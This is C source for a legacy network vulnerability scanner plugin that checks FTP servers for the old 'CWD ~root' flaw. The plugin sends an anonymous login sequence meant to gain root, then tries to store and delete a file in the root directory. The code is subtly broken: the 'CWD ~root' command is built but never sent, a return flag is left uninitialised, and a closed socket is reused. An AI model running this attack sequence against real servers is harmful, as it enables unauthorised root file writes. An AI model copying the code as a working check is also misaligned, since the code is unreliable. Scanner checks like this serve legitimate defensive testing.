/*
 * 
 * ftp_cwd_root
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>


#define NAME "ftp cwd ~root"
#define DESC "\
There is a bug in older versions of some FTP servers\n\
which would allow anonymous logins to be logged as root\n\
This plugin tries to see if this vulnerability is present\n\
on the remote ftp server\n\
Risk factor : high"
#define COPYRIGHT "no copyright"
#define SUMM "attempts to log in as root"





PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "FTP");
	return(0);
}
	
int check_writeable_root(int soc)
{
 int writeable;
 char * buf = emalloc(2048);
 
 sprintf(buf, "CWD /\n");
 send(soc, buf, strlen(buf),0);
 bzero(buf, 2048);
 recv_line(soc, buf, 2048);	 
 bzero(buf, 2048);
 sprintf(buf, "STOR .tmp\n");
 send(soc, buf, strlen(buf), 0);
 bzero(buf, 2048);
recv_line(soc, buf, 2048);	

 /* If the daemon accepts to write a file
    it will try to establish a connection, which
    won't be done, thus it will reply an error 425 */
 if(!strncmp(buf, "425", 3))
 {
  writeable = 1;
  bzero(buf, 2048);  sprintf(buf, "DELE .tmp\n");
  send(soc, buf, strlen(buf), 0);
 }
 sprintf(buf, "QUIT\n");
 send(soc, buf, strlen(buf),0);
 efree(&buf);
 return(writeable);
}
       

PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	int soc;
	char * buf;
	int writeable = 0;
        
	if(!plug_get_key(args, "ftp/anonymous_access"))return(0);
	if(host_get_port_state(args, 21)<=0)return(0);
	soc = open_sock_tcp(args, 21);
	if(soc<0)return(-1);
	buf = emalloc(2048);
	if(ftp_log_in(soc, "ftp", "joe@"))
        {
         shutdown(soc, 2);
         close(soc);
	}
        
        /* First, we must ensure that we can't write on
           the ftp root directory (/)
         */
	writeable = check_writeable_root(soc);
        shutdown(soc, 2);
	if(!writeable)
        {
        
   	/* Now, we log in using the old bug, and we
         * determine if we can write on the root directory
         */
        soc = open_sock_tcp(args, 21);
	if(soc<0)return(-1);
	buf = emalloc(2048);
	recv_line(soc, buf, 2048);
        if(strncmp(buf, "220", 3))return(0);
        while(buf[3]=='-')recv_line(soc, buf, 2048);
	bzero(buf, 2048);
	
        
        
	sprintf(buf, "USER ftp\n");
	send(soc, buf, strlen(buf),0);
	
	bzero(buf,2048);
	recv_line(soc, buf, 2048);
	
        sprintf(buf, "CWD ~root\n");
        bzero(buf, 2048);
        recv_line(soc, buf, 2048);
        
	sprintf(buf, "PASS joe@\n");
	send(soc, buf, strlen(buf), 0);
	recv_line(soc, buf, 2048);
         if(!strncmp(buf, "230", 3))
        {
          while(buf[3]=='-')recv_line(soc, buf, 2048);
          writeable = check_writeable_root(soc);
        }
	close(soc);
        if(writeable)
        {
         post_hole(args, 21, 
"The remote FTP server is subject to the old\n\
'CWD ~root' bug which allows anonymous logins to\n\
log in as root.\n\
Solution : upgrade as soon as possible");
        }
        }
        efree(&buf);
	return(0);
}

